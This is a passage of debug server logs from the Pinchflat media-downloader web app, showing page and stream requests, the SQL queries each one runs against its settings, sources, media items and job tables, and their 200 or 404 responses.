s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:08.151 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:08.152 [info] Sent 200 in 3ms 23:26:08.716 [info] GET /sources/1/media/113 23:26:08.716 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "113", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:08.717 [debug] QUERY OK source="media_items" db=0.2ms idle=566.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [113] 23:26:08.718 [debug] QUERY OK source="tasks" db=0.4ms idle=567.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [113] 23:26:08.718 [debug] QUERY OK source="sources" db=0.4ms idle=567.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:08.719 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=568.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [112] 23:26:08.719 [debug] QUERY OK source="settings" db=0.2ms idle=568.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:08.720 [debug] QUERY OK source="settings" db=0.0ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:08.720 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:08.720 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:08.722 [info] Sent 200 in 5ms 23:26:09.240 [info] GET /sources/1/media/110 23:26:09.240 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "110", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:09.241 [debug] QUERY OK source="media_items" db=0.1ms idle=521.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [110] 23:26:09.241 [debug] QUERY OK source="tasks" db=0.0ms idle=521.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [110] 23:26:09.241 [debug] QUERY OK source="sources" db=0.1ms idle=521.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:09.241 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=520.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [109] 23:26:09.242 [debug] QUERY OK source="settings" db=0.1ms idle=332.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:09.242 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:09.242 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:09.243 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:09.244 [info] Sent 200 in 3ms 23:26:09.759 [info] GET /sources/1/media/101 23:26:09.759 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "101", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:09.759 [debug] QUERY OK source="media_items" db=0.1ms idle=517.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101] 23:26:09.760 [debug] QUERY OK source="tasks" db=0.1ms idle=517.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [101] 23:26:09.760 [debug] QUERY OK source="sources" db=0.2ms idle=517.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:09.760 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=517.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [100] 23:26:09.760 [debug] QUERY OK source="settings" db=0.1ms idle=517.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:09.761 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:09.761 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:09.762 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:09.763 [info] Sent 200 in 3ms 23:26:10.331 [info] GET /media/435d2056-9fa1-4f9a-885c-23c036103338/stream 23:26:10.332 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "435d2056-9fa1-4f9a-885c-23c036103338", "v" => "1774659306"} Pipelines: [:maybe_basic_auth] 23:26:10.340 [debug] QUERY OK source="media_items" db=8.1ms idle=571.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["435d2056-9fa1-4f9a-885c-23c036103338"] 23:26:10.340 [info] Sent 404 in 8ms 23:26:10.836 [info] GET /media/5e76518c-4491-4986-95b9-a4b67e08857d/stream 23:26:10.836 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "5e76518c-4491-4986-95b9-a4b67e08857d", "v" => "1774664099"} Pipelines: [:maybe_basic_auth] 23:26:10.836 [debug] QUERY OK source="media_items" db=0.1ms idle=1075.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["5e76518c-4491-4986-95b9-a4b67e08857d"] 23:26:10.837 [info] Sent 404 in 609µs 23:26:11.325 [info] GET /sources/new 23:26:11.325 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 23:26:11.325 [debug] QUERY OK source="sources" db=0.1ms idle=1563.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:11.325 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1415.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:26:11.326 [debug] QUERY OK source="settings" db=0.0ms idle=985.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:11.326 [debug] QUERY OK source="settings" db=0.0ms idle=489.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:11.326 [debug] QUERY OK source="settings" db=0.0ms idle=414.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:11.326 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:11.326 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:11.327 [info] Sent 200 in 2ms 23:26:11.860 [info] GET /sources/new 23:26:11.860 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 23:26:11.861 [debug] QUERY OK source="sources" db=0.2ms idle=534.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:11.861 [debug] QUERY OK source="media_profiles" db=0.0ms idle=534.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:26:11.861 [debug] QUERY OK source="settings" db=0.0ms idle=535.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:11.861 [debug] QUERY OK source="settings" db=0.0ms idle=535.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:11.861 [debug] QUERY OK source="settings" db=0.1ms idle=535.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:11.862 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:11.862 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:11.863 [info] Sent 200 in 3ms 23:26:12.887 [info] GET /media/a3b34a43-8e85-4461-96d0-8b830645d32f/stream 23:26:12.888 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "a3b34a43-8e85-4461-96d0-8b830645d32f", "v" => "1774663602"} Pipelines: [:maybe_basic_auth] 23:26:12.888 [debug] QUERY OK source="media_items" db=0.1ms idle=1026.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["a3b34a43-8e85-4461-96d0-8b830645d32f"] 23:26:12.888 [info] Sent 404 in 465µs 23:26:13.405 [info] GET /media/c10354ec-0786-499c-acbe-0c10988308e9/stream 23:26:13.406 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "c10354ec-0786-499c-acbe-0c10988308e9", "v" => "1774663261"} Pipelines: [:maybe_basic_auth] 23:26:13.406 [debug] QUERY OK source="media_items" db=0.1ms idle=1543.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["c10354ec-0786-499c-acbe-0c10988308e9"] 23:26:13.406 [info] Sent 404 in 581µs 23:26:13.969 [info] GET /sources/1/media/58 23:26:13.969 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "58", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:13.969 [debug] QUERY OK source="media_items" db=0.1ms idle=1056.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [58] 23:26:13.969 [debug] QUERY OK source="tasks" db=0.0ms idle=563.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [58] 23:26:13.969 [debug] QUERY OK source="sources" db=0.1ms idle=457.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:13.970 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=458.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [61] 23:26:13.970 [debug] QUERY OK source="settings" db=0.0ms idle=55.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:13.970 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:13.970 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:13.971 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:13.971 [info] Sent 200 in 2ms 23:26:14.528 [info] GET /sources/2/media/73 23:26:14.528 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "73", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 23:26:14.528 [debug] QUERY OK source="media_items" db=0.1ms idle=558.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [73] 23:26:14.528 [debug] QUERY OK source="tasks" db=0.1ms 